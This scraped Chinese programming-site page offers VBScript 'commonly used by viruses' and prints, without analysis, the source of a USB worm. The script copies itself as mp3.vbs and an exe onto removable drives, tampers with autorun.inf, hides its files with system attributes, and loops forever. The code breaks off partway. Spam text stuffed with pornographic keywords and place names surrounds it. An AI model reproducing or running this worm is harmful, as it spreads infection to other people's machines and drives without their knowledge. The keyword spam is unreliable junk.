国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

一段病毒常用的VBS代碼

2019-10-26 18:03:16
字體:
來源:轉載
供稿:網友
復制代碼 代碼如下:

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不顯示隱藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"/mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夾改名
If fso.FolderExists(dri.Path&"/autorun.inf") Then
fso.MoveFolder dri.Path&"/autorun.inf",dri.Path&"/Rubbish"
End If
'復制自身及exe文件到移動硬盤
If fso.FileExists(dri.Path&"/mp3.vbs") And fso.FileExists(dri.Path&"/autorun.inf") Then
Else
If fso.FileExists(dri.Path&"/mp3.vbs") Then
fso.DeleteFile dri.Path&"/mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"/autorun.inf") Then
fso.DeleteFile dri.Path&"/autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"/mp3.vbs",True
If fso.FileExists("./SiZhu.exe") And Not fso.FileExists(dri.Path&"/SiZhu.exe") Then
fso.CopyFile "./SiZhu.exe",dri.Path&"/SiZhu.exe",True
End If
autoinf(dri.Path)
'給剛復制的文件加上隱藏屬性
Set norkon=fso.GetFile(dri.Path&"/mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"/mp3.vbs",0
Set norkon=Nothing

您可能感興趣的文章:

linux服務器被植入ddgs、qW3xT.2挖礦病毒的處理實戰記錄通過批處理關閉135 137 445等端口的實現代碼(勒索病毒)對一個vbs腳本病毒的病毒原理分析php網頁病毒清除類VC實現的病毒專殺工具完整實例利用DOS命令來對抗U盤病毒保護U盤數據自制殺u盤病毒的批處理代碼c病毒程序原理分析(防范病毒 c語言小病毒示例)解析:清除SQL被注入惡意病毒代碼的語句Autorun 病毒清除工具bat代碼VBS.Runauto腳本病毒分析篇記事本U盤病毒 Notepad.exe查殺方法美女游戲病毒iwbkvd.exe查殺方法批處理 Autorun 病毒清除工具Rootkit病毒的解決辦法
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 洪泽县| 西华县| 青河县| 商丘市| 宿松县| 轮台县| 绥滨县| 龙里县| 五寨县| 洪湖市| 宜宾市| 林甸县| 金平| 买车| 丁青县| 榕江县| 信阳市| 遵化市| 巴楚县| 永川市| 沾化县| 静安区| 海晏县| 台前县| 灯塔市| 洪雅县| 彰化市| 武义县| 江口县| 祥云县| 桃园县| 汉中市| 收藏| 崇信县| 岑巩县| 桦川县| 罗城| 上栗县| 应用必备| 阿鲁科尔沁旗| 敖汉旗|